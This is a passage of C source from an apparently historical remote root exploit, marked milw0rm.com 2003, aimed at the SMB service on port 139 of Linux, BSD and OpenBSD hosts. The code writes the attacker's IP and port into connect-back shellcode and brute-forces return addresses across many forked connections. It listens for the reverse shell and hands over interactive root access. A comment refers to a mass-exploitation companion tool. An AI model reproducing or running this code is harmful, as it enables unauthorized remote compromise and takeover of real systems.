exit(EXIT_FAILURE);
}
write(sock,buff,n);
}
}
close(sock);
}
void GoAway()
{
exit(0);
}
void start_listen()
{
FILE *fstat;
int cpid;
LISTENER:
bzero(&serv_addr, sizeof(serv_addr));
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0;
serv_addr.sin_port=htons(port_listen);
sock_listen=socket(2,1,6);
if(bind(sock_listen,(struct sockaddr *)&serv_addr,16))
{
port_listen++;
goto LISTENER;
}
if(listen(sock_listen,1))
{
perror("listen");
exit(1);
}
fprintf(stdout, "[+] Listen on port: %d\n",port_listen);
cpid = fork();
if (cpid) {
client=accept(sock_listen,0,0);
LOOP = 0;
kill(SIGUSR2, exploit_pid);
if (client > 0) {
fprintf(stdout, "[+] Yeah, I have a root ....!\n"
"------------------------------\n");
fstat=fopen(".ROOT", "a"); //needed by mass.c
fclose(fstat);
shell(client);
}
exit(0);
}
}
int
main (int argc,char *argv[])
{
char *shellcode = NULL;
int typeos = -1;
int port = 139;
int sock = 0;
int i = 0;
int status = 0;
int m = 0;
int ip1 = 0;
int ip2 = 0;
int ip3 = 0;
int ip4 = 0;
int sta = 0;
int STEPS = 512;
int ENDLOOP = 64;
char *desc;
unsigned long MAX_CHILDS = 40;
unsigned long ret = 0x0;
unsigned short int a_port;
struct sockaddr_in addr1;
struct hostent *he;
struct stat st;
if (argc != 4) usage(argv[0]);
typeos = atoi(argv[1]);
if (typeos > 3) {
fprintf(stdout, "Os type out of list!\n");
exit(1);
}
he = gethostbyname(argv[2]);
if (he == NULL) {
fprintf(stderr, "Unable to resolve\n");
return -1;
}
listen_pid = getpid();
start_listen();
exploit_pid = listen_pid + 1;
//fprintf(stdout, "[+] Listen pid: %d, exploit pid: %d\n", listen_pid,exploit_pid);
sscanf(argv[3], "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);
linux_connect_back[171] = ip1; bsd_connect_back[162] = ip1;
linux_connect_back[172] = ip2; bsd_connect_back[163] = ip2;
linux_connect_back[173] = ip3; bsd_connect_back[164] = ip3;
linux_connect_back[174] = ip4; bsd_connect_back[165] = ip4;
fprintf(stdout, "[+] Connecting back to: [%d.%d.%d.%d:%d]\n",
ip1, ip2, ip3, ip4, port_listen);
a_port = htons(port_listen);
linux_connect_back[177]= (a_port) & 0xff;
linux_connect_back[178]= (a_port >> 8) & 0xff;
bsd_connect_back[168]= (a_port) & 0xff;
bsd_connect_back[169]= (a_port >> 8) & 0xff;
switch(typeos) {
case 0:
desc = "Linux";
ret = 0xc0000000;
shellcode = linux_connect_back;
break;
case 1:
desc = "FreeBSD/NetBSD";
ret = 0xbfc00000;
shellcode = bsd_connect_back;
break;
case 2:
desc = "OpenBSD 3.1 and prior";
ret = 0xdfc00000;
shellcode = bsd_connect_back;
break;
case 3:
desc = "OpenBSD 3.2 non-exec stack";
ret = 0x00170000;
shellcode = bsd_connect_back;
break;
}
fprintf(stdout, "[+] Target: %s\n", desc);
memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
addr1.sin_family = AF_INET;
addr1.sin_port = htons(port);
fprintf(stdout, "[+] Connected to [%s:%d]\n", (char *)inet_ntoa(addr1.sin_addr),
port);
fprintf(stdout, "[+] Please wait in seconds...!\n");
signal(SIGUSR2, GoAway);
for (i = 0; i < 50; i++) childs[i] = -1;
i = 0; m = 0;
while (LOOP) {
if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
fprintf(stderr, "[+] socket() error.\n");
exit(-1);
}
ret -= STEPS; i++;
if ((ret & 0xff) == 0x00 && typeos != 3) ret++;
m++;
//fflush(0);
//fprintf(stdout, "[+] Return Address: 0x%08x [%02d]\n", (unsigned int)ret,
m);
usleep(150000);
switch (childs[i] = fork()) {
case 0:
if (connect(sock, (struct sockaddr *)&addr1, sizeof(addr1)) == -
1) {
//fprintf(stderr, "[+] connect() error.\n");
close(sock);
exit(-1);
}
start_session(sock);
sleep(3);
if (typeos != 3) {
if (exploit_normal(sock, ret, shellcode) < 0) {
//fprintf(stderr, " -> Failed.\n");
close(sock);
exit(-1);
}
} else {
if (exploit_openbsd32(sock, ret, shellcode) < 0) {
//fprintf(stderr, " -> Failed.\n");
close(sock);
exit(-1);
}
}
sleep(5);
close(sock);
exit(0);
break;
case -1:
exit(-1);
break;
default:
if (i > MAX_CHILDS - 2) {
wait(&status);
i--;
}
break;
}
if (m == ENDLOOP) LOOP = 0;
}
if (stat(".ROOT", &st) != -1)
kill(SIGUSR2, listen_pid);
else {
fprintf(stdout, "[+] Dohh, exploit failed.\n");
close(client); close(sock_listen);
kill(listen_pid, SIGUSR2);
sleep(2);
exit(0);
}
}
// milw0rm.com [2003-07-13]